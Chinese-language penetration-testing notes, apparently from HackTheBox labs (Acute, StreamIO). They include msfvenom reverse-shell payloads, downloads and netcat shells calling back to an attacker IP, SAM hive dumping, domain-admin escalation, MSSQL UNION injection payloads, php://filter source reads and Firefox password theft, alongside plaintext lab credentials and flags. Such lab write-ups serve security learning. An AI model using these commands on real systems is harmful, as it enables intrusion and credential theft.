Microsoft Defender Exclusions List Can Be Read by Attackers

reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s
您提供的命令是 Windows 命令提示符命令,它使用该`reg query`命令查询 Windows 注册表以获取信息。在本例中,它在注册表中查询指定的子项路径:
以下是该命令的详细说明:

- `reg query`:这是用于查询Windows注册表的命令。
- `"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions"`:这是注册表项路径。它指向 HKEY_LOCAL_MACHINE (HKLM) 注册表配置单元中“HKLM\SOFTWARE\Microsoft\Windows Defender”下的“Exclusions”子项。Windows Defender 在此保存有关排除设置的信息。
- `/s`:此选项指示`reg query`在搜索中包含所有子项。

img

python3 -m http.server 80

msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=4444 LHOST=10.10.14.67 -f exe -o rev.exe 生成一个木马

wget http://10.10.14.67/shell.exe -o shell.exe wget用不了

Invoke-WebRequest -Uri http://10.10.14.67:/shell.exe -UseBasicParsing -OutFile “shell.exe” wget的替代上传或者wget -UseBasicParsing <Your_URL>

cmd.exe /c .\rev.exe (或者直接./rev.exe)

image-20231208150957007

meterpreter监听会话 获得权限

取得imonks权限

kali ./chisel server --reverse -p 8000

靶机 .\chisel.exe client 10.10.14.67:8000 R:127.0.0.1:socks

确保socks 5 127.0.0.1 1080添加/etc/proxychains.conf(在文件最下面添加

socks 5 127.0.0.1 1080)

proxychains nmap -sT -P 88 172.16.22.1

这表明它是域控

img

wget 10.10.14.67/winPEAS

winpeas执行结果,它显示有一个 RDP 会话处于活动状态

query user这也可以通过列出活动登录会话找到 或者

qwinsta /server:127.0.0.1也可以看到该:qwinsta命令在Windows操作系统中用于查询远程服务器上的远程桌面会话(终端会话)信息。在你的命令下:

Invoke-WebRequest -Uri http://10.10.14.67/winPEAS.exe -UseBasicParsing -OutFile winPEAS.exe

./winPEAS.exe

image-20231208154249844

Meterpreter有一个screenshare功能,可以定期截取活动桌面的屏幕截图,并允许攻击者像直播一样观看。

运行它时,它会在 Firefox 中弹出一个 HTML 页面,显示桌面:

几分钟后,PowerShell 终端将以 edavies 形式打开。该用户创建一个 PowerShell 凭证对象,并使用它以 imonks 用户身份连接到 atsserver 计算机:但是上面是显示没有成功

这里有几个重要的地方:

  • 用户是acute\imonks,密码为“w3_4R3_th3_f0rce.”。

  • edavies 正在尝试向 ATSSERVER 进行身份验证。

  • edavies 正在尝试使用dc_manage上面提到的配置。

image-20231208155031255

image-20231208155304885

$pass = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
  1. $pass: 这是一个变量,用于存储最终的 SecureString。

  2. ConvertTo-SecureString: 这是一个 PowerShell cmdlet,用于将普通文本转换为安全字符串。

  3. "W3_4R3_th3_f0rce.": 这是你要转换的普通文本,通常是密码。在这个例子中,密码是"W3_4R3_th3_f0rce."。

  4. -AsPlainText: 这是 ConvertTo-SecureString 的参数,指示输入字符串是普通文本而不是已加密的文本。通常,你在输入密码时会使用这个参数。

  5. -Force: 这是 ConvertTo-SecureString 的参数,用于确认转换操作,即强制执行转换。

这行 PowerShell 脚本是用来创建一个 PSCredential 对象的,该对象包含了用户名和密码的组合,通常用于进行身份验证。让我们一步一步解释这行脚本:

$cred = New-Object System.Management.Automation.PSCredential("ACUTE\imonks", $pass)
  1. $cred: 这是一个变量,用于存储最终的 PSCredential 对象。

  2. New-Object System.Management.Automation.PSCredential: 这是一个 PowerShell cmdlet,用于创建 PSCredential 对象。

  3. "ACUTE\imonks": 这是用户名,通常以域名(在这里是"ACUTE")和用户名(在这里是"imonks")的形式提供。

  4. $pass: 这是之前创建的 SecureString 对象,包含了用户的密码。

所以,这行脚本的目的是创建一个 PSCredential 对象,其中包含了用户名 "ACUTE\imonks" 和对应的密码。这样的对象通常在需要进行身份验证的情况下使用,比如在进行远程 PowerShell 会话时,你可以使用这个对象来提供凭据信息

这行 PowerShell 脚本使用 Enter-PSSession cmdlet 建立一个与远程计算机的 PowerShell 会话,并通过 -Credential 参数提供凭据信息进行身份验证。让我们一步一步解释这行脚本:

Enter-PSSession -ComputerName ATSSERVER -Credential $cred
  1. Enter-PSSession: 这是一个 PowerShell cmdlet,用于进入一个远程 PowerShell 会话。

  2. -ComputerName ATSSERVER: 这是 -ComputerName 参数,指定要连接的远程计算机的名称或 IP 地址。在这里,远程计算机的名称是 "ATSSERVER"。

  3. -Credential $cred: 这是 -Credential 参数,用于提供凭据信息。在这里,通过之前创建的 $cred 变量提供了用户名和密码的组合,这个变量包含了 PSCredential 对象。

通过这行脚本,你会被提示输入与 "ACUTE\imonks" 用户相关联的密码。然后,如果身份验证成功,你将进入到 "ATSSERVER" 远程计算机的 PowerShell 会话中,可以在其中执行命令和脚本,就像你直接在 "ATSSERVER" 上执行一样。当你完成操作后,可以使用 Exit-PSSession 退出远程会话。这对于远程管理和执行命令非常有用。

这条 PowerShell 命令 Enter-PSSession-ConfigurationName 参数指定了要连接到的远程计算机上的 PowerShell 终结点的配置名称。让我们一步一步解释这个命令:

Enter-PSSession -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage
  1. Enter-PSSession: 这是 PowerShell 中用于进入远程 PowerShell 会话的 cmdlet。

  2. -ComputerName ATSSERVER: 这是 -ComputerName 参数,指定要连接到的远程计算机的名称或 IP 地址。在这里,远程计算机的名称是 "ATSSERVER"。

  3. -Credential $cred: 这是 -Credential 参数,用于提供凭据信息。通过之前创建的 $cred 变量提供了用户名和密码的组合,这个变量包含了 PSCredential 对象。

  4. -ConfigurationName dc_manage: 这是 -ConfigurationName 参数,指定了要连接到的远程计算机上的 PowerShell 终结点的配置名称。在这里,"dc_manage" 是一个 PowerShell 终结点的名称。

通过使用 -ConfigurationName 参数,你可以连接到远程计算机上的指定 PowerShell 终结点,这样你可以在该终结点上执行特定配置的命令。通常,这种配置用于限制在远程计算机上执行的操作,提高安全性。在这个例子中,"dc_manage" 可能是一个特定的 PowerShell 终结点,为域控制器(Domain Controller)的管理提供了一组特殊的权限和功能。

上面的命令输入后会报错

它失败是因为 imonks 无权访问 cmdlet Measure-Object。这可能是配置问题,也可能是Kerberos 双跳dc_manage问题(或两者兼而有之)

Measure-Object not found error with Enter-PSSession cmdlet - Windows Server | Microsoft Learn 解决办法

上面是无法直接验证但是利用Invoke-Command -ScriptBlock可以执行一些命令

在你的 PowerShell 命令中,你使用了 Invoke-Command cmdlet 在远程计算机上执行脚本块。让我们逐步解释这个命令:

Invoke-Command -ScriptBlock { whoami } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
  1. Invoke-Command 这是 PowerShell 中用于在远程计算机上执行命令的 cmdlet。

  2. -ScriptBlock { whoami } 这是 -ScriptBlock 参数,它指定要在远程计算机上执行的脚本块。在这里,脚本块包含 whoami 命令,用于显示当前登录用户的信息。

  3. -ComputerName ATSSERVER 这是 -ComputerName 参数,指定要执行命令的远程计算机的名称或 IP 地址。在这里,远程计算机的名称是 "ATSSERVER"。

  4. -ConfigurationName dc_manage 这是 -ConfigurationName 参数,它指定了要使用的远程 PowerShell 终结点的配置名称。在你的情况下,是 "dc_manage"。

  5. -Credential $cred 这是 -Credential 参数,用于提供凭据信息。通过之前创建的 $cred 变量提供了用户名和密码的组合,这个变量包含了 PSCredential 对象。

这个命令的目的是在远程计算机 "ATSSERVER" 的 PowerShell 终结点 "dc_manage" 上执行 whoami 命令,以查看当前登录用户的信息。

读取user.txt

Invoke-Command -ScriptBlock { cat C:\users\imonks\desktop\user.txt } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

9dbd69bf5b42b42074ee44eec3d14d92

取得jmorgan权限

为了进一步列举,首先我需要了解在此配置中我可以访问哪些命令。Get-Command会告诉我:

Invoke-Command -ScriptBlock { Get-Command } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

我还将查看Get-Alias设置的内容:

Invoke-Command -ScriptBlock { Get-Alias } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

具体而言,Get-Alias 命令会返回当前 PowerShell 会话中定义的所有别名的列表。别名与其对应的命令、函数或脚本块一一对应。通过查看别名,你可以了解哪些缩写或简短名称可以用于执行特定的命令或功能。就是powershell中命令的别名,如ls别名什么

始终值得查看 C:\program files(和C:\program files (x86)) 中安装的程序:

Invoke-Command -ScriptBlock { ls '\program files' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

image-20231208164956867

Hyper-V很可能是虚拟化技术让 Windows 主机像这样嵌套。keepmeon这不是我熟悉的东西。不幸的是,imonks 无法访问它:

除了 之外user.txt,imonk 的桌面上还有另一个文件:wm.ps1

Invoke-Command -ScriptBlock { ls ..\desktop } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

Invoke-Command -ScriptBlock { cat C:\Users\imonks\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

它具有 Acute-PC01 上 jmorgan 的凭据: 还告诉我们这段脚本执行了Get-Volume命令

$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds

我无法前往 DC 获取有关 jmorgan 的信息:

net user jmorgan /domain

( net user jmorgan /domain

The request will be processed at a domain controller for domain acute.local.

System error 1722 has occurred.

The RPC server is unavailable.)

但是,域用户似乎位于 Acute-PC01 的本地管理员组中:

net localgroup Administrators

image-20231208170610448

这就解释了为什么他们可能能够run Get-Volume而 edavies 却不能(在wm.ps1里面 jmorgan执行了)

前面的两次尝试都是输入上面的那个脚本里面的命令,第二个是将上面的命令放到ScriptBlock里面执行试试

失败#1

我最初的想法是使用它$securepasswd来获取PSCredentialAcute-PC01 上 jmorgan 的对象:

PS C:\Utils> $securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'

PS C:\Utils> $passwd = $securepasswd | ConvertTo-SecureString

这是因为这些安全密码字符串是使用仅在加密计算机上可用的信息(作为加密用户进行加密)进行加密的。

失败#2

我将把我需要的所有命令放入 中ScriptBlock,并获取明文密码。不幸的是,它不起作用:

Invoke-Command -ScriptBlock { $securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c 0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'; $passwd = $securepasswd | ConvertTo-SecureString; $creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd); $creds.GetNetworkCredential().Password } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

该脚本使用actue\jmorgan的安全密码在容器上运行Get-Volume

成功

Invoke-WebRequest -Uri http://10.10.14.67/nc64.exe -OutFile nc64.exe 下载

现在该脚本为我创建了一个反向 shell:

当然,让我们分解一下您提供的 PowerShell 命令:Set-Content替代sc ,Get-Content替代cat

Invoke-Command -ScriptBlock { ((cat ..\desktop\wm.ps1 -Raw) -replace 'Get-Volume', 'C:\utils\nc64.exe -e cmd 10.10.14.67 443') | sc -Path ..\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

Invoke-Command -ScriptBlock {((Get-Content -Path ..\desktop\wm.ps1 -Raw) -replace 'Get-Volume', 'C:\utils\nc64.exe -e cmd 10.10.14.6 443') | Set-Content -Path ..\desktop\wm.ps1} -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

此 PowerShell 命令执行以下操作:

  1. Invoke-CommandATSSERVER使用 PowerShell 远程处理在远程计算机 ( ) 上启动脚本块的执行。

  2. -ScriptBlock {...}指定将在远程计算机上执行的脚本块。在脚本块内:

    • ((Get-Content -Path ..\desktop\wm.ps1 -Raw)wm.ps1从桌面读取脚本文件的内容,并使用-Raw参数将内容读取为单个字符串(而不是行数组)。

    • -replace 'Get-Volume', 'C:\utils\nc64.exe -e cmd 10.10.14.6 443'使用-replace运算符将 内容中出现的所有字符串“Get-Volume”替换wm.ps1为命令C:\utils\nc64.exe -e cmd 10.10.14.6 443

    • | Set-Content -Path ..\desktop\wm.ps1将修改的内容写回到wm.ps1桌面上的文件中。

  3. -ComputerName ATSSERVERATSSERVER指定将执行脚本块的远程计算机 ( ) 的名称。

  4. -ConfigurationName dc_managedc_manage指定要在远程计算机上使用的PowerShell 远程处理端点配置名称 ( )。

  5. -Credential $cred提供远程会话所需的凭据。该变量$cred可能包含一个PSCredential具有必要的用户名和密码的对象。

执行(.ps1 是 PowerShell 脚本文件的文件扩展名)

Invoke-Command -ScriptBlock { C:\users\imonks\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

kali监听443

获得acute\jmorgan权限

获取管理员awallace的hash

作为 Acute-PC01 上的本地管理员,jmorgan 可以创建注册表配置单元的备份:

reg save HKLM\sam sam.bak 您提供的命令reg save HKLM\sam sam.bak是 Windows 命令提示符 (CMD) 中的一个命令,用于创建 SAM(安全帐户管理器)注册表配置单元的备份。该命令通常用于备份目的,需要注意的是,修改或备份注册表需要管理权限。

以下是该命令的详细说明:

  • reg save这是保存注册表配置单元的命令。

  • HKLM\sam指定要保存的注册表配置单元。在本例中,它是 SAM 配置单元,其中包含有关用户帐户和系统安全性的信息。

  • sam.bak这是为将创建的备份文件指定的名称。在此示例中,备份文件名为“sam.bak”。

reg save HKLM\system sys.bak

由于我的盒子上有一个 Meterpreter 会话,我将使用它来下载文件:

download sam.bak

download sys.bak

获取hash

secretsdump.py -sam sam.bak -system sys.bak LOCAL

第二种方法

这个上面的反弹shell到反弹到meterpreter上

获取后jmorgan我们可以检查该用户的权限,getprivs或者如果我们想使用 cmd 我们可以使用whoami /all

img

img

通过此权限,我们可以通过运行成为容器上的 SYSTEM 用户getsystem,然后可以在容器上转储 NTLM 哈希值 hashdump

img

hashcat或者网站解密

这边需要尝试3个用户,前面发现的Administratorlhopkinsawallace。我确实发现我可以作为 awallace 在 ATSSERVER 上运行命令:

$pass您提供的命令使用 PowerShell从纯文本密码“Password@123”创建安全字符串 ( )。安全字符串是一种在 PowerShell 脚本中以更安全的方式处理密码等敏感信息的方法。

以下是该命令的详细说明:

$pass = ConvertTo-SecureString "Password@123" -AsPlainText -Force
  • ConvertTo-SecureString此 cmdlet 用于将纯文本转换为安全字符串。

  • "Password@123"这是您要转换为安全字符串的纯文本密码。

  • -AsPlainText该参数指定输入为纯文本。

  • -Force即使输入字符串包含可能被解释为安全字符串格式字符的特殊字符,此参数也会强制进行转换。

在您提供的 PowerShell 命令中,您将创建一个使用cmdletPSCredential命名的新对象。此凭据通常用于身份验证目的,由用户名和安全字符串密码组成。$cred``New-Object

以下是该命令的详细说明:

$cred = New-Object System.Management.Automation.PSCredential("ACUTE\awallace", $pass)
  • New-Object System.Management.Automation.PSCredential此 cmdlet 用于创建该类的新实例PSCredential

  • "ACUTE\awallace"这是凭证的用户名或域\用户名。

  • $pass这是之前使用 创建的安全字符串密码ConvertTo-SecureString

运行此命令后,该变量$cred将保存一个PSCredential具有指定用户名和关联的安全字符串密码的对象。当使用需要凭据的 PowerShell cmdlet(例如用于远程服务器连接的凭据)时,通常会使用此对象。

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { whoami }

(acute\awallace)

利用Lois权限脚本添加awallace到管理员

使用不同的凭据,我会再试C:\program files\keepmeon一次,awallace 可以访问它:

Invoke-Command -ScriptBlock { ls '\program files\keepmeon' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

读取一下

REM This is run every 5 minutes. For Lois use ONLY

@echo off

for /R %%x in (*.bat) do

( if not "%%x" == "%~0" call "%%x" )

PS C:\

看起来您有一个批处理脚本,它会迭代.bat当前目录及其子目录中的所有文件(不包括自身 ( %~0)),然后使用call命令执行每个文件。该注释表明它每 5 分钟运行一次,并且仅供 Lois 使用。

  • REM This is run every 5 minutes. For Lois use ONLY这一行是注释,不影响脚本的执行。这只是给阅读剧本的人的一个注释。

  • @echo off此命令关闭控制台命令的回显。它通过在执行之前不显示每个命令来使脚本更清晰。

  • for /R %%x in (\*.bat) do (...):这是一个循环,遍历.bat当前目录及其子目录中的所有文件。

  • if not "%%x" == "%~0" call "%%x":此行检查当前.bat正在处理的文件是否与脚本本身不同 ( %~0)。如果不是脚本本身,它会调用 ( execute) 该.bat文件。

回到那个 word 文档,它提到 Lois 是组成员的唯一用户,也只有他才能成为site admin

img

运行net group /domain我们可以看到一个名为Site_Admin

Invoke-Command -ScriptBlock { net group /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

纯文本复制代码*Cloneable Domain Controllers
*DnsUpdateProxy
*Domain Admins
*Domain Computers
*Domain Controllers
*Domain Guests
*Domain Users
*Enterprise Admins
*Enterprise Key Admins
*Enterprise Read-only Domain Controllers
*Group Policy Creator Owners
*Key Admins
*Managers
*Protected Users
*Read-only Domain Controllers
*Schema Admins
*Site_Admin

每行代表域中组帐户的名称,名称前面带有星号 ( *)。星号可用于格式化或强调。

以下是一些常见的 Windows 默认组及其潜在角色:

  • Cloneable Domain Controllers:用于使用现有域控制器的副本创建新域控制器。

  • DnsUpdateProxy:用于DNS动态更新。

  • Domain Admins:该组的成员具有域中所有计算机的管理访问权限。

  • Domain Computers:包含域中所有计算机帐户的默认组。

  • Domain Controllers:包含域中所有域控制器的默认组。

  • Domain Guests:包含域中所有来宾用户帐户的默认组。

  • Domain Users:包含域中所有用户帐户的默认组。

  • Enterprise Admins:该组的成员具有林中所有域的管理访问权限。

  • Enterprise Key Admins:会员可以管理企业内的密钥分配中心(KDC)。

  • Enterprise Read-only Domain Controllers:企业中包含只读域控制器 (RODC) 的组。

  • Group Policy Creator Owners:成员可以修改组策略对象。

  • Key Admins:会员可以管理密钥分配中心(KDC)。

  • Managers:自定义组,可能是为了组织目的而创建的。

  • Protected Users:需要增强防止凭据被盗的帐户的安全组。

  • Read-only Domain Controllers:包含域中所有只读域控制器的默认组。

  • Schema Admins:该组的成员可以修改 Active Directory 架构。

  • Site_Admin:自定义组,可能是为了组织目的而创建的。

img

检查该组的描述,它说它有权访问域管理组

因此使用Set-Content我们可以添加命令net group Site_Admin "awallace" /add /domain将该用户添加到Site_Admin组

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock { Set-Content "C:\Program Files\keepmeon\uwu.bat" -Value 'net group Site_Admin "awallace" /add /domain' } -Credential $credential

过一会就将awallace添加进入 域管理员组

Invoke-Command -ScriptBlock { net group Site_Admin /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

也可以net user awallace

这实际上足以阅读root.txt

PS C:\Utils> Invoke-Command -ScriptBlock { cat \users\administrator\desktop\root.txt  } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
5a14532a55ecc6c7cf9faa6f3f6317b5

从这里,应该可以获得一个shell。作为 的成员Site_Admin,awallace 现在无需配置即可连接dc_manage,打开各种命令和权限:

Invoke-Command -ScriptBlock { whoami /priv } -ComputerName ATSSERVER -Credential $cred

这些权限确实会定期重置,因此我将尝试添加另一个用户:

Invoke-Command -ScriptBlock { net user 0xdf abcdABCD1234!@#$ /add /domain /Y } -ComputerName ATSSERVER -Credential $cred

(我花了很多次尝试才获得足够的密码复杂性并添加/Y覆盖提示。)

  • net user:这是用于在 Windows 中管理用户帐户的命令。

  • 0xdf:这是您要添加的用户名。在本例中,它是“0xdf”。

  • abcdABCD1234!@#$:这是新用户的密码。请注意,这只是一个示例,您应该使用强大、安全的密码。本例中的密码是“abcdABCD1234!@#$”。

  • /add:此选项指定您要添加新用户。

  • /domain:该选项指定应在域控制器上执行操作。添加域用户时使用。

  • /Y:此选项不是 的标准选项net user。它通常用于对任何提示自动回答“是”。但是,/Y这不是该命令的有效选项net user。如果您想禁止确认提示,您可能需要探索其他选项或使用不同的方法。

    并将其添加到Domain Admins

    Invoke-Command -ScriptBlock { net group "Domain Admins" 0xdf /add /domain } -ComputerName ATSSERVER -Credential $cred

    但这些用户也会定期被刷新。

    回到 awallace,我将上传nc64.exe并调用它:

    Invoke-Command -ComputerName ATSSERVER -Credential $cred -ScriptBlock { wget 10.10.14.6/nc64.exe -outfile \programdata\nc64.exe }

    PS C:\utils> Invoke-Command -ComputerName ATSSERVER -Credential $cred -ScriptBlock { \programdata\nc64.exe -e cmd 10.10.14.6 444}

    kali rlwrap -cAr nc -lnvp 444

Timelapse (LAPS,PFX ,evil-winrm,X.509的不同编码格式和常⽤⽂件扩展名。mssql注入)

看ppt

StreamIO

RedteamNotes' union select 1,name,id,4,5,6 from streamio..sysobjects where

xtype='U';-- -

a' select 1,name,id,4,5,6 from streamio..sysobjects where xtype='U';-- -

Walk-through of SQHell from TryHackMe - pencer.io sql注入的中高级用法,打完回来学习

mssql注入

⽐如⽤关键词 time';-- - 来试探:

这就是SQL注⼊。如果不是,它将返回0个结果,因为没有电影在标题中有‘';-- -’这样的字符。

事实上输⼊ d' and 1=1 -- 也是有返回值的,也证明是有SQL注⼊的

RedteamNotes' union select 1,2,3,4,5,6;-- - ,获得了反馈。 2 3

RedteamNotes' union select 1,@@version,3,4,5,6;-- -

RedteamNotes' union select 1,name,3,4,5,6 from master..sysdatabases;-- -

从 master 数据库中的 sysdatabases 表中检索数据。在mysql中和sysdatabases对应的表叫

INFORMATION_SCHEMA。

不难推测,当前数据库是STREAMIO。同时streamio_backup也值得关注,备份数据中如有更多凭据,⽤来撞库⼀般很好⽤。但是从运维⻆度⼀般没⼈配置对备份数据库的访问,配置机制上不会,运维⼈员的意愿上更不会。

RedteamNotes' union select 1,(select DB_NAME()),3,4,5,6 from

master..sysdatabases;-- - 获得 srteamio

RedteamNotes' union select 1,name,id,4,5,6 from streamio..sysobjects where

xtype='U';-- - 有个users表

在 SQL Server 中, sysobjects 是⼀个系统表,它包含了有关数据库中的对象(例如表、视图、存储过程等)的元数据信息。在这个查询中, xtype 是 sysobjects 表中的⼀个列,表示对象的类型。where xtype='U' 是⼀个条件,它限制了结果集中只返回对象类型为 'U' 的⾏。在这⾥, 'U' 表示⽤户表(User Table)。这个条件过滤了只有⽤户表的信息被检索出来,其他类型的对象将被排除。

RedteamNotes' union select 1,name,id,4,5,6 from streamio..syscolumns where id in

(885578193,901578250);-- - 有username和 password

RedteamNotes' union select 1,concat(username,';',password),3,4,5,6 from users;-- -

获得账号密码

curl -X POST 'https://watch.streamio.htb/search.php' -d “q=RedteamNotes' union select 1,concat(username,':',password),3,4,5,6 from users -- ” -k -s | grep h5 | sed -e 's/<h5 class="p-2">//g' -e 's/<\/h5>//g'| tr -d " \t"

Victor ;bf55e15b119860a6e6b5a164377da719

| sed -e 's/<h5 class="p-2">//g' -e 's/<\/h5>//g'

  1. sed -e 's/<h5 class="p-2">//g'

    • -e 表示后面跟随的是一个sed脚本。

    • s/<h5 class="p-2">//g

      表示要进行替换的操作。具体来说:

      • s/ 表示进行替换。

      • <h5 class="p-2"> 是要被替换的字符串,这是一个HTML <h5> 标签,带有 class="p-2" 属性。

      • // 是替换为空的目标,即将匹配的字符串替换为空,即删除匹配的字符串。

      • g 表示全局替换,即一行中的所有匹配都会被替换。

    所以,这部分的作用是删除文本中所有匹配 <h5 class="p-2"> 的字符串。

  2. -e 's/<\/h5>//g'

    • 同样,这部分也是一个sed脚本,用于删除HTML标签 </h5>

    • s/<\/h5>//g

      的解释如下:

      • s/ 表示进行替换。

      • <\/h5> 是要被替换的字符串,这是HTML中闭合的 <h5> 标签。

      • // 是替换为空的目标,即将匹配的字符串替换为空,即删除匹配的字符串。

      • g 表示全局替换,即一行中的所有匹配都会被替换。

    所以,这部分的作用是删除文本中所有匹配 </h5> 的字符串。

综合起来,这个sed命令的作用是删除文本中所有 <h5 class="p-2"></h5> 这两个HTML标签,保留标签之间的内容。这种文本处理通常用于从HTML文档中提取或清理文本内容。

| tr -d " \t"

  • tr 是一个字符替换命令,用于转换或删除输入中的字符。

  • -d 选项表示删除指定的字符。

  • " \t" 是要删除的字符集,其中包括空格和制表符。

因此,tr -d " \t" 的作用是将输入中的空格和制表符删除。

Freed0m/笔记/安全/Web渗透/PHP文章/PHP文件包含/php文件包含漏洞利用小结.md at master · xidaner/Freed0m · GitHub

调试语境下,为了读取到源码⽽不是执⾏源码,通过语句:

https://streamio.htb/admin/?debug=php://filter/convert.base64-

encode/resource=master.php

利用php://filter查看源代码:

php://filter`是一种元封装器,设计用于数据流打开时的筛选过滤应用;在文件包含中用于读取文件内容,读取后输出`base64编码`后的内容,要获取真实内容的话,`需要进行base64解码

这对于查看⽂件的内容⽽不需要直接下载⽂件很有⽤。

system("powershell -c wget 10.10.16.16/nc64.exe -outfile

\programdata\nc64.exe");

system("\programdata\nc64.exe -e powershell 10.10.16.16 443");

programdata是基本所有用户都可以共享到的文件

-c 表示后面跟随的是 PowerShell 脚本或命令

  • -e powershell该选项指定建立连接后应执行PowerShell命令。

  • 10.10.16.16这是 Netcat 工具将尝试连接的目标计算机的 IP 地址。

  • 443这是 Netcat 工具将在目标计算机上尝试连接的端口号。

rlwrap -cAr nc -lnvp 443 增强交互性

sqlcmd.exe

web应⽤要看数据库对吧?切换到watch站点。因为在其中我们看到了数据库。

dir -recurse *.php | select-string -pattern "database"

  • dir -recurse \*.php这部分命令是使用dir命令(PowerShell中的别名Get-ChildItem)递归列出.php当前目录及其子目录中所有带有扩展名的文件。

  • |这是管道运算符,它获取左侧命令的输出并将其用作右侧命令的输入。

  • select-string -pattern "database"这部分命令用于Select-String搜索 PHP 文件内容中与指定模式(即字符串“database”)匹配的行。

因此,总而言之,该命令在当前目录及其子目录中搜索 PHP 文件,然后在这些 PHP 文件中查找包含字符串“database”的行。

两组: db_user:B1@hB1@hB1@h 和 db_admin:B1@hx31234567890 ,现在db_admin是⾼价值资产,为

web的watch⻚⾯sql注⼊是应该就是⽤的低权限的db_user⽤户,user不能读取备份数据库,但是admin应该可以。试⼀下。

可以通过chisel等隧道化的⼯具访问数据库,但本机安装了sqlcmd,直接⽤就好了。

where.exe sqlcmd

⽤gcm也可以,即Get-Command,给其fl参数,即Format-List

gcm sqlcmd.exe | fl

sqlcmd -? 列出⼯具的帮助信息:

根据如上的帮助写查询命令,我们只对backup数据库有访问权

sqlcmd -S localhost -U db_admin -P

B1@hx31234567890 -d streamio_backup -Q "select name from sys.tables;"

v拓展知识:select语句写成 select table_name from

streamio_backup.information_schema.tables; 也是可以的。 information_schema 是标准的SQL

架构,并且多数关系型数据库系统(包括MySQL和SQL Server)都实现了它,但在SQL Server中查询

表的常⻅⽅式是使⽤ sys 架构。

读取users表的信息:

sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select

* from users;“

cat user_creds_raw

1 nikk37

389d14cb8e4e9b94b137deb1caf0612a

cat user_creds_raw | awk -F' ' '{print $2":"$3}' | tee user_creds

nikk37:389d14cb8e4e9b94b137deb1caf0612a

hashcat破解

横向移动

evil-winrm -u nikk37 -p 'get_dem_girls2@yahoo.com' -i streamio.htb

获取\nikk37和users flag

在 Program Files (x86) 发现安装的firefox。之前的⽤户没有家⽬录,但本⽤户有,会存储⼀些敏感信息吗

goole 搜搜the profiles file location of firefox in windows system

filefox password crack

image-20231211215310456

通过第⼏篇⽂章,我们能够找到敏感⽂件的路径和敏感⽂件的名称,并且有两个⼯具可⽤。

窃取Firefox密码。简介 |由 S12 - H4CK |系统弱点 (systemweakness.com)

How to decrypt Firefox passwords with Python? | by Yicong | Geek Culture | Medium

How to decrypt Firefox passwords with Python? | by Yicong | Geek Culture | Medium工具

Windows:C:/Users/<PC 名称>/AppData/Roaming/Mozilla/Firefox/ProfilesMac:~/Library/Application Support/Firefox/ProfilesLinux:~/.mozilla/firefox/Profiles

以下是相应操作系统的 NSS 库名称。

Windows:nss3.dllMac:libnss3.dylibLinux:libnss3.so

具体是这样的,如下⽤户资料的⽂件路径重要有 key4.dblogins.json两个⽂件,我们可以⻢上验证并试图拿到。

Windows: C:/Users/<PC Name>/AppData/Roaming/Mozilla/Firefox/Profiles

如下路径中有nss3.dll⽂件。

Windows: C:\Program Files\Mozillia Firefox

拓展资料:

\1. key4.db: 是 Firefox 浏览器中的⼀个数据库,⽤于存储加密的敏感数据,如密码、证书和加密密钥。它使⽤ Mozilla 的 Network Security Services (NSS) 库来处理加密和解密操作。key4.db ⽂件包含了⽤于加密和保护登录密码等数据的密钥。这是SQLite的数据库格式,SQLite是⼀种嵌⼊式关系型数据库管理系统(RDBMS),它是⼀个轻量级、⾃包含的、⾼性能的数据库引擎。与传统的客户端-服务器数据库管理系统不同,SQLite 不需要单独的服务器进程,⽽是将整个数据库作为⼀个⽂件存储在主机⽂件系统中。

